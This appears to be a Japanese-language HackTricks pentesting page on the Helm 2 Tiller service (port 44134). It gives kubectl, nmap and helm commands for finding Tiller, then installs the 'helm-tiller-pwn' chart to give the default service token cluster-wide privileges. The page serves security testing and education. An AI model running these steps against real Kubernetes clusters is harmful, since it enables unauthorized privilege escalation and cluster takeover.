44134 - Pentesting Tiller (Helm)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

基本情報

HelmはKubernetesのパッケージマネージャーです。YAMLファイルをパッケージ化し、公開およびプライベートリポジトリで配布することを可能にします。これらのパッケージはHelm Chartsと呼ばれます。Tillerは、デフォルトでポート44134でサービスを提供するサービスです。

デフォルトポート: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

異なる名前空間のポッドおよび/またはサービスを列挙できる場合は、それらを列挙し、名前に「tiller」が含まれているものを探してください:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

例:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

このサービスがポート44134で実行されているか確認してみることもできます:

sudo nmap -sS -p 44134 <IP>

それを発見したら、クライアントのhelmアプリケーションをダウンロードして通信できます。homebrewのようなツールを使用するか、公式リリースページを確認してください。 詳細や他のオプションについては、インストールガイドを参照してください。

次に、サービスを列挙できます

helm --host tiller-deploy.kube-system:44134 version

権限昇格

デフォルトでは、Helm2kube-system名前空間に高い権限でインストールされているため、サービスを見つけてアクセスできれば、権限を昇格させることができます。

必要なことは、次のようなパッケージをインストールすることです: https://github.com/Ruil1n/helm-tiller-pwn これにより、デフォルトのサービストークンがクラスター全体のすべてにアクセスできるようになります。

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573 では 攻撃の説明がありますが、基本的には、helm-tiller-pwn/pwnchart/templates/ 内の clusterrole.yamlclusterrolebinding.yaml を読むと、すべての権限がデフォルトトークンに与えられていることがわかります。

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated